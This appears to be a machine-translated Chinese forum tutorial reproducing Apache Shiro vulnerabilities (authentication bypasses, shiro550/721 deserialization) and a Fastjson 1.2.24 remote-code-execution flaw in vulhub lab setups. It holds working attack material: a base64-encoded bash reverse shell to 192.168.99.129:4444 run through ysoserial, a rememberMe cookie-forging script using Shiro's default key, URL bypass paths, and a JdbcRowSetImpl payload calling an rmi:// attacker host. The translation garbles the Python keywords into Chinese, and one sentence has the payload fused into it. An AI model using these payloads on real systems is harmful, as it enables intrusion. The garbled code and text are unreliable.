发布于12月5日12月5日 白 Apache Shiro 提供身份验证、授权、加密和会话管理功能,隐藏复杂问题并提供清晰直观的API,使开发人员可以轻松开发自己的程序安全代码。 Shiro 专注于Shiro 开发团队所说的“四个安全基石”——身份验证、授权、会话管理和密码学。 身份验证:用户身份识别。有时被视为“登录”,是用户证明自己是谁的动作。授权:访问控制过程,例如确定“谁”可以访问“什么”。会话管理(Session Management):管理用户会话,即使在没有WEB 或EJB 容器的环境中也是如此。管理用户的时间相关状态。加密(Cryptography):利用加密算法更安全地保护数据,防止数据被窃取。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro CVE-2010-3863:Apache Shiro 身份验证绕过漏洞 漏洞原理 在Apache Shiro 1.1.0 之前的版本中,shiro 在执行权限验证之前没有标准化URL。攻击者可以构造/、//、/./、/./等绕过权限验证。 受影响的版本 shiro 1.1.0 和JSecurity 0.9.x 漏洞重现 访问页面地址为:IP:8080 漏洞点/管理员 使用跨目录测试字典fuzz CVE-2016-4437:Apache Shiro 1.2.4 反序列化漏洞/shiro550 漏洞原理 属于shiro550漏洞。 在Apache Shiro 1.2.4 及之前的版本中,加密的用户信息被序列化并存储在名为Remember-me 的cookie 中。攻击者可以利用Shiro的默认密钥伪造用户cookie,触发Java反序列化漏洞,然后在目标机器上执行任意命令。 Shiro 默认使用CookieRememberMeManager 来加密RememberMe cookie。在CookieRememberMeManaer类中,对cookie中rememberMe字段的内容进行序列化、AES加密和Base64编码。在识别身份时,需要对cookie中的rememberMe字段进行解密。根据加密的顺序,可以推断解密的顺序是获取==cookie-base64解码-AES解密-反序列化。== 受影响的版本 阿帕奇希罗=1.2.4 漏洞重现 判断页面的登录是否使用shiro框架进行认证、授权、密码和会话管理。 判断方法:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,以及响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图。 只要响应包中出现rememberMe=deleteMe字段,就表明存在漏洞。这是片面的。如果出现rememberMe=deleteMe字段,则应该仅表示登录页面使用shiro进行身份验证。它并不直接表明存在漏洞。未登录时,请求包的cookie中没有rememberMe字段,返回包set-Cookie中也没有deleteMe字段。如果登录失败,无论是否勾选RememberMe字段,返回包中都会有rememberMe=deleteMe。如果不勾选RememberMe字段,则登录成功后,返回的包set-Cookie中会有rememberMe=deleteMe字段。但是,在所有后续请求中,cookie 将不会有RememberMe 字段。检查记住我。如果登录成功,返回包set-Cookie会有rememberMe=deleteMe字段和remember字段。在后续的所有请求中,cookie都会有rememberMe字段,或者你可以在cookie后面添加rememberMe=1,看看返回包是否有rememberMe=。删除MeYmFzaCATaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEyOS80NDQ0IDA+JjE= java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}' 使用shiro-exploit.py获取shiro的默认密钥(工具地址:https://github.com/insightglacier/Shiro_exploit) 使用shiro.py生成payload(需要自己更改key,shiro.py代码如下:) 命令:shiro.py 192.168.17.132:6666 shiro.py: 导入系统 导入uuid 导入base64 导入子流程 从Crypto.Cipher 导入AES defencode_rememberme(命令): popen=subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS=AES.块大小 pad=lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key=base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==') iv=uuid.uuid4().bytes 加密器=AES.new(密钥, AES.MODE_CBC, iv) file_body=pad(popen.stdout.read()) base64_ciphertext=base64.b64encode(iv + 加密器.加密(file_body)) 返回base64_密文 如果__name__=='__main__': 有效负载=encode_rememberme(sys.argv[1]) print('rememberMe={0}'.format(payload.decode())) python3 shiro.py 192.168.200.129:6666 登录后抓包,将包中的cookie值替换为shiro.py生成的rememberMe CVE-2020-1957:Apache Shiro 身份验证绕过漏洞 漏洞原理 我们需要分析整个项目中所请求URL 的传入传递。在使用shiro的项目中,我们请求的URL(URL1)通过了shiro权限检查(URL2),最终到springboot项目中找到处理的路由(URL3) 该漏洞发生在URL1 中。 URL2和URL3可能不是同一个URL,这使得我们可以绕过Shiro的验证,直接访问后端所需的首选URL。本例中的漏洞就是由于这个原因而产生的。 Shiro框架使用拦截器函数来控制用户访问权限,例如anon、authc等拦截器。 anon是匿名拦截器,无需登录即可访问; authc是登录拦截器,通过登录即可访问。 受影响的版本 阿帕奇Shiro 1.5.2 漏洞重现 将URL更改为/admin将自动跳转到登录页面。 构造恶意请求绕过权限 因为如果你添加;在代码级别,它将被识别为绕过。您还可以在其后面添加/。 网址改为/xxx/./admin/绕过登录直接访问成功! /xxx/./管理/ 白721 漏洞重现:CVE-2019-12422 环境:kali linux Docker 构建并启动 git克隆https://github.com/3ndz/Shiro-721.git cd Shiro-721/Docker docker build -t shiro-721 。 docker运行-p 8080:8080-d shiro-721 访问: 如果使用正确的账号和密码登录,会分别发送两个请求包,分别是POST和GETPOST请求包,如下图(正确账号和密码登录得到的包) GET请求包如下图(这是正确密码登录得到的包,主要是向后台提交cookie值) 看到响应包中有rememberMe=deleteMe字段,可以说存在Shiro反序列化漏洞 burp插件添加HaE和Logger++查看shiro的指纹 工具运用: fastjson @fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson 漏洞原理 该漏洞的原理在于Fastjson的反序列化机制。当Fastjson解析JSON数据时,它会尝试将JSON数据转换为Java对象。在这个过程中,Fastjson会根据JSON数据中的类型信息来决定如何解析数据。攻击者可以利用这一特性构造JSON中特定的数据类型和结构,使得Fastjson在解析时调用恶意构造的Java类或方法,从而实现远程代码执行。 利用这一点的常见方法是利用Fastjson 的autoType 功能。 autoType 是Fastjson 的一项功能,允许在序列化和反序列化时使用完全限定的类名。攻击者可以构造恶意的JSON数据,并使用恶意类作为autoType的值。 Fastjson反序列化时会尝试实例化指定的类来执行类中的代码(漏洞利用时一般使用JdbcRowSetlmpl利用链)。 @类型字段 @type是Fastjson中用于处理对象类型信息的特殊字段之一。在JSON 数据中,@type 字段可用于指定反序列化期间应实例化的类的类型。该字段通常用于在反序列化时指定对象的类型信息,特别是当Fastjson的autoType功能开启时。 通过@type字段,Fastjson识别要实例化的类,并根据该字段中提供的类路径创建对象。这在序列化和反序列化复杂对象结构时非常有用,因为它允许您指定对象的确切类型。 然而,正是因为@type字段的存在和使用,恶意用户可能会利用该字段构造恶意JSON数据,并在@type字段中指定恶意类路径。这样,在反序列化过程中,Fastjson会尝试根据@type字段指定的类路径实例化相应的类,这可能会导致恶意代码的执行或安全漏洞的利用。 JNDI JNDI、RMI 和LDAP 是用于不同目的的Java 技术。 JNDI(Java命名和目录接口):JNDI是Java中的一组API,用于访问不同的命名和目录服务。 JNDI 提供了统一的访问方法,允许Java 应用程序连接和使用各种不同的命名和目录服务,例如DNS、LDAP、RMI 注册表等。JNDI 的目的是提供统一的方式,使Java 应用程序能够利用不同服务的命名和目录功能。 RMI(远程方法调用):RMI是Java中用来实现远程方法调用的机制。它允许不同Java虚拟机之间的对象间通信和方法调用。在分布式系统中,RMI允许远程系统互相调用对方的方法来实现远程对象之间的交互。 LDAP(轻量级目录访问协议):LDAP 是用于访问分布式目录服务的协议。通常用于存储结构化数据,例如用户信息、组织结构等。在Java中,JNDI提供了对LDAP访问的支持,允许使用JNDI来连接和操作LDAP目录服务,例如用户认证、数据检索等。这些技术之间的关系是,JNDI是一个Java API,它提供了访问不同服务(包括LDAP)的统一方式。 JNDI 使您能够连接并操作LDAP 服务器以及在LDAP 目录中检索和存储数据。另外,JNDI还可以用来在RMI注册表中查找远程对象,实现远程方法调用。 综上所述,JNDI作为Java中的API,提供了访问不同服务的统一方式,允许Java应用程序连接和操作不同的命名和目录服务,例如LDAP和RMI注册表。 JdbcRowSetImpl利用链 在fastjson中,我们使用JdbcRowSetImpl进行反序列化攻击。 JdbcRowSetImpl利用链的重点是如何调用autoCommit的set方法。 fastjson反序列化的特点是会自动调用类的set方法,所以就会出现这个反序列化问题。只要指定了@type的类型,就会自动调用对应的类来解析。 这样我们就可以构建我们的漏洞利用链。当@type的类型为JdbcRowSetImpl时,会实例化JdbcRowSetImpl类。那么只要将dataSourceName传递给lookup方法,就可以保证访问远程攻击服务器,然后使用autoCommit属性来触发查找。整个流程如下: 通过设置dataSourceName,将属性参数传递给lookup方法——设置autoCommit属性,使用SetAutoCommit函数触发connect函数——触发connect函数,lookup函数就会使用刚才设置的dataSourceName参数通过RMI访问远程服务器,从而执行恶意指令。 漏洞利用如下: {“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://192.168.17.39:9999/利用”,“autoCommit”:true} 值得注意的是: 1、dataSourceName需要放在autoCommit前面,因为反序列化时属性是按顺序设置的,所以需要先setDataSourceName,再setAutoCommit。 2.rmi的URL后面是我们要获取的远程工厂的类名,因为在lookup()中,会提取路径下的名称作为要获取的类。 fastjson检测版本 1.使用dnslog外卖。最好使用自己构建的dnslog,因为大多数dnslog都被写入黑名单。 2. 出现错误信息。判断版本号payload没有读取到“{”和“,”才进入缺陷代码块并抛出异常。 3、使用脚本快速检测版本号。也就是说,输入每个POC 并检查它是否存在。 CVE-2017-18349 fastjson 1.2.24-rce 0x00简介 fastjson是阿里巴巴开源的JSON解析库。它可以解析JSON格式的字符串,支持Java Beans序列化为JSON字符串,也可以从JSON字符串反序列化为JavaBeans。即fastjson的主要功能是将Java Bean序列化为JSON字符串,以便获取字符串后可以通过数据库等方法进行持久化。 0x01漏洞概述 在解析json的过程中,fastjson支持使用autoType实例化特定的类,并调用该类的set/get方法来访问属性。通过寻找代码中的相关方法,可以构建一些恶意利用链。 0x02受影响的版本 影响范围:fastjson=1.2.24 0x03 环境设置 cd /vulhub/fastjson/1.2.24-rce docker-compose up -d 码头工人 docker开放8090端口访问目标机IP http://192.168.200.166:8090/ JDK版本切换 利用该漏洞需要jdk8,而kali自带的jdk是jdk11,这里不能使用,所以先卸载kali的jdk1123。 dpkg --列表| grep -i jdk #查看已安装的jdk包 apt-get purge openjdk-* #卸载openjdk相关包 dpkg --列表| grep -i jdk #检查所有jdk包是否已经卸载 下载jdk1.8 https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz 将压缩包放入kali中,解压,配置环境变量。 mv jdk-8u212-linux-x64.tar.gz /opt/java #放在/opt/java下 tar -zxvf jdk-8u212-linux-x64
创建帐户或登录后发表意见